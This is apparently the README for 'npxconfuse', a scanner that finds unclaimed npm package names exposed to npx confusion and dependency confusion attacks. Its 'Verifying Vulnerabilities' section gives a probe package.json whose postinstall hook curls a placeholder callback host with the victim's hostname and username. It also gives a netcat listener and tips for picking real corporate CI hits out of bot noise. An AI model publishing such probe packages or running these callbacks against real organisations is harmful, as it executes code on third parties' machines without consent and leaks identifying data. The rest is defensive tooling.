npx Confusion Vulnerability Scanner
Find unclaimed npm package names in your supply chain before attackers do.
Based on the original research by Lupin & Holmes, presented at DEF CON 33.
Read the full paper: npx Used Confusion and It's Super Effective
This tool automates the discovery process described in that research — scanning local codebases, GitHub organizations, and web assets for unclaimed npm package names that are exploitable via npx confusion and dependency confusion attacks.
What It Detects
| # | Vulnerability | Severity | Description |
|---|---|---|---|
| 🔴 | npx Confusion | CRITICAL |
An npx <name> invocation in your package.json scripts points to a package unclaimed on npm. An attacker can register that name and achieve RCE on every developer and CI pipeline that runs your scripts. |
| 🔴 | Bin Mismatch | CRITICAL |
A scoped package (@scope/pkg) exposes a binary with a different, unscoped name that is unclaimed on npm. Since npm binaries cannot contain /, this mismatch is inherent to scoped packages. |
| 🟡 | Dependency Confusion | HIGH |
Private/internal package names (enterprise-scoped packages, file: references) are not registered on the public npm registry. An attacker can publish a package with the same name and hijack installs. |
| 🟠 | Name Clash | MEDIUM |
A used package name exists on the public registry but is owned by a different entity — potential typo-squatting or namespace collision worth investigating. |
The Attack in 30 Seconds
# Your package.json script:
"scripts": {
"dev": "npx my-internal-tool --watch" # ← name is UNCLAIMED on npm
}
# Attacker:
npm publish my-internal-tool # ← now every `npm run dev` runs attacker code
npxconfuse automates discovery of these unclaimed names across your entire codebase, GitHub organization, and public-facing web assets.
Installation
Requirements: Node.js >= 18
# Run directly (no install needed)
npx npxconfuse scan ./my-project
# Global install
npm install -g npxconfuse
# Local install as dev dependency
npm install --save-dev npxconfuse
Quick Start
# 1. Scan your current project
npxconfuse scan . # basic: package.json files
npxconfuse scan . --deep # thorough: also scans JS bundles
# 2. Scan with JSON output (for CI/CD pipelines)
npxconfuse scan . -o json
# 3. Scan and save results
npxconfuse scan . --save findings.json
# 4. Check a list of package names directly
npxconfuse check names.txt
Usage
scan — Scan a Local Directory
npxconfuse scan <path> [options]
# Basic scan of a project
npxconfuse scan ./my-project
# Deep scan — also parses JS bundles for imports/requires
npxconfuse scan ./my-project --deep
# JSON output to stdout
npxconfuse scan ./my-project -o json
# Save to file
npxconfuse scan ./my-project --save results.csv
What it scans:
package.json— scripts (npx invocations), bin field, dependencies
With --deep:
- JS bundles (
*.js,*.mjs,*.cjs) — parsesrequire(),import, and embeddedpackage.jsonblocks
What it skips:
node_modules/,.git/,dist/,build/,.next/,coverage/
github — Scan a GitHub Organization
npxconfuse github <org-name> [options]
# Scan an org (requires GITHUB_TOKEN)
export GITHUB_TOKEN=ghp_your_token_here
npxconfuse github my-company
# Limit to 100 repos
npxconfuse github my-company --max-repos 100
# GitHub Enterprise
npxconfuse github my-company --github-enterprise https://github.internal.example.com
Token requirements:
- Create a token at github.com/settings/tokens
- Scope:
repo(private repos) orpublic_repo(public repos only)
web — Scan Web Domains
npxconfuse web <domains-file>
# domains.txt — one domain/URL per line:
# example.com
# https://app.example.com
# api.example.org
npxconfuse web domains.txt
Probes each domain for:
- Exposed
/package.json,/package-lock.json - JavaScript bundles referenced in
<script>tags
check — Direct Package Name Checking
npxconfuse check <names-file>
# names.txt — one package name per line:
# my-internal-tool
# @company/shared-utils
# company-dashboard
npxconfuse check names.txt
Output Formats
| Format | Flag | Best For |
|---|---|---|
| Table (default) | -o table |
Interactive terminal use |
| JSON | -o json |
CI/CD pipelines, jq processing |
| CSV | -o csv |
Spreadsheets, data analysis |
Table Output (default)
┌──────────┬──────────────────┬────────────────┬──────────┬───────────────┬────────────────────────────────┬──────────────┐
│ Severity │ Package │ Type │ Registry │ Status │ Details │ Source │
├──────────┼──────────────────┼────────────────┼──────────┼───────────────┼────────────────────────────────┼──────────────┤
│ CRITICAL │ my-internal-tool │ npx-confusion │ npm │ ⬤ UNCLAIMED │ Package name is not registered │ package.json │
│ HIGH │ @company/shared │ dep-confusion │ npm │ ⬤ UNCLAIMED │ Package name is not registered │ package.json │
│ MEDIUM │ react │ name-clash │ npm │ ● claimed │ facebook/react │ JS bundle │
└──────────┴──────────────────┴────────────────┴──────────┴───────────────┴────────────────────────────────┴──────────────┘
Found 3 issue(s): 1 critical, 1 high, 1 medium
JSON Output
{
"findings": [
{
"name": "my-internal-tool",
"type": "npx-confusion",
"registry": "npm",
"status": "unclaimed",
"severity": "CRITICAL",
"sources": ["/project/package.json"],
"contexts": ["scripts.dev: npx my-internal-tool"]
}
],
"summary": {
"total": 1,
"critical": 1,
"high": 0,
"medium": 0,
"low": 0,
"info": 0
}
}
CSV Output
severity,name,type,registry,status,owner,details,sources
CRITICAL,my-internal-tool,npx-confusion,npm,unclaimed,,Package name is not registered,/project/package.json
Options
| Option | Description | Default |
|---|---|---|
-o, --output <format> |
Output format: table, json, csv |
table |
-c, --concurrency <n> |
Max parallel registry requests | 20 |
--timeout <ms> |
HTTP timeout (milliseconds) | 10000 |
--save <filepath> |
Save results to file (format auto-detected from extension) | — |
-v, --verbose |
Enable debug logging | false |
Scan-specific options:
| Command | Option | Description |
|---|---|---|
scan |
--deep |
Also parse JS bundles for imports/requires |
github |
--max-repos <n> |
Maximum repos to scan |
github |
--github-enterprise <url> |
GitHub Enterprise base URL |
Exit Codes
| Code | Meaning |
|---|---|
0 |
No critical or high findings |
2 |
Critical findings detected (useful for CI/CD ` |
Verifying Vulnerabilities: Setting Up a Callback Server
Once npxconfuse identifies unclaimed package names, you'll want to verify whether those names are actually being pulled in real environments. Simply claiming the name and publishing a package is not enough — you need to confirm that the package is being downloaded by real CI pipelines or developers.
Step 1: Set Up a Callback Server
Publish a harmless package under the unclaimed name that phones home to a server you control. This lets you observe exactly who is pulling the package and from where.
# 1. Create a directory for the probe package
mkdir probe-package && cd probe-package
npm init -y
# 2. Add a postinstall script that calls back to your server
# (package.json)
{
"name": "my-internal-tool",
"version": "1.0.0",
"scripts": {
"postinstall": "curl -s https://your-callback-server.example.com/$(hostname)/$(whoami)"
}
}
# 3. Publish to npm
npm publish
Step 2: Deploy a Lightweight Callback Listener
You can use a simple HTTP server, a webhook receiver, or services like:
- Pipedream — Free tier, instant HTTP endpoints with logging
- Webhook.site — Instant disposable endpoints, no setup needed
- ngrok — Expose a local server to the internet
- Your own VPS with a simple
nc -lor Python HTTP server
Example with a one-liner netcat listener:
# On your VPS:
while true; do echo "=== $(date) ===" | nc -l -p 443 -q 1; done
Step 3: Monitor and Filter
Watch your callback logs for incoming requests. Each hit represents a machine that ran npx my-internal-tool or installed the package.
⚠️ Important: Distinguishing Real Pulls from Bots
When you publish a package to npm, you will see immediate download activity. Most of this is not from real targets — it comes from automated systems that mirror or analyze every new npm package.
Common False Positive Sources
| Source | What It Is | Action |
|---|---|---|
| npm CDN / mirror bots | Replication bots from jsDelivr, unpkg, etc. that cache every package | Ignore — these are not your targets |
| Security scanners | Automated tools (Snyk, Socket.dev, etc.) that analyze every new publish | Ignore — they are not real installs |
| Replication services | Third-party registries that mirror npm (e.g. npmmirror.com in China) | Ignore — these are mirrors, not targets |
| npm's own download count | The download counter on npmjs.com includes all mirror/cache traffic | Do not trust download counts as proof |
How to Identify Real Pulls
Real pulls come from actual CI environments and developer machines. Look for these signals in your callback data:
| Signal | Indicates |
|---|---|
🟢 CI hostnames (e.g. github-runner-*, circleci-, jenkins-, gitlab-runner-*`) |
CI pipelines pulling the package |
| 🟢 Corporate hostnames (matches the organization you're testing) | Internal developer machines |
| 🟢 Timing alignment — hits coincide with code pushes or scheduled builds | Genuine CI activity |
🟢 Developer usernames in the callback path (from whoami) |
Real developer workstations |
| 🟢 Non-standard user agents or IPs from corporate ranges | Authentic internal traffic |
| 🔴 Immediate hits from IPs owned by Cloudflare/Fastly/CDN providers | Likely mirror bots |
| 🔴 Hits at the exact same second as publish | Bots polling the registry feed |
Recommended Approach
- Publish your probe package
- Ignore the first 24—48 hours of activity — this is predominantly bots and mirrors
- After the initial noise settles, look for patterns that match the target organization's:
- IP ranges
- Hostname conventions
- CI provider
- Working hours / timezone
- Only consider hits that correlate with known development activity (commits to repos, CI build triggers)
How It Works
┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐
│ 1. DISCOVERY │ ──▶ │ 2. EXTRACTION │ ──▶ │ 3. ANALYSIS │
│ │ │ │ │ │
│ • Local FS │ │ • npx scripts │ │ • npm registry │
│ • GitHub API │ │ • bin fields │ │ • Severity score │
│ • Web scrape │ │ • JS imports │ │ • Owner lookup │
│ • Direct check │ │ • dependencies │ │ • Download stats │
└──────────────────┘ └──────────────────┘ └──────────────────┘
│
▼
┌──────────────────┐
│ 4. REPORTING │
│ │
│ • Table / JSON │
│ • CSV output │
│ • File export │
└──────────────────┘
Detection Logic
- Discovery — Finds
package.jsonfiles and JS bundles via filesystem glob, GitHub API, or HTTP probes - Extraction — Parses each file with dedicated extractors:
package.json:npxin scripts,binfield, scoped dependencies withfile:/workspace:referencesJS bundles: embeddedpackage.jsonblocks,require()calls,importstatements
- Analysis — Deduplicates names across sources and queries the npm registry in parallel, classifying each name as unclaimed, claimed, private, or error
- Reporting — Formats results in the chosen output format with severity coloring
Severity Classification
| Finding Type | Registry Status | Severity |
|---|---|---|
npx-confusion |
unclaimed |
🔴 CRITICAL |
bin-mismatch |
unclaimed |
🔴 CRITICAL |
dependency-confusion |
unclaimed |
🟡 HIGH |
| Any | claimed |
🟠 MEDIUM |
| Any | private |
⚪ INFO |
Real-World Scenarios
Scenario 1: You run npx in your npm scripts
// package.json
{
"scripts": {
"build": "npx my-build-tool --prod",
"lint": "npx @scope/custom-linter"
}
}
npxconfuse detects both my-build-tool and the unscoped binary name of @scope/custom-linter if they're unclaimed on npm.
Scenario 2: You use private/internal packages
// package.json
{
"dependencies": {
"@mycorp/internal-auth": "file:../packages/auth"
}
}
If @mycorp/internal-auth is not registered on the public npm registry, an attacker can publish a malicious package with the same name.
Scenario 3: Your web app exposes its package.json
If https://app.example.com/package.json returns your production manifest, an attacker can extract your internal package names. npxconfuse web helps you find this exposure first.
Research Background
This tool operationalizes the vulnerability class described by Lupin & Holmes in their DEF CON 33 research:
- npx Used Confusion and It's Super Effective — The original paper
Key concepts from the research:
- npx resolution flow: When
npx <binary>cannot find a binary in./node_modules/.bin/, it falls back to fetching from the public npm registry. If that name is unclaimed, an attacker can register it. - Scoped package mismatch: npm binaries cannot contain
/, so@scope/pkgmust expose an unscoped binary name — creating a natural mismatch exploitable for package takeover. - Dependency confusion: If a private package name is not reserved on public registries, an attacker can publish a package with the same name and hijack the resolution chain.
- Defense: Register placeholder packages for all internal names, use
--yes/--noflags with npx, configure scope-to-registry mappings via.npmrc, and audit yourpackage.jsonscripts for unregistered npx targets.
Security
If you discover a vulnerability in npxconfuse itself, please open an issue or submit a PR responsibly. Do not publish the vulnerability publicly before a fix is available.
Comments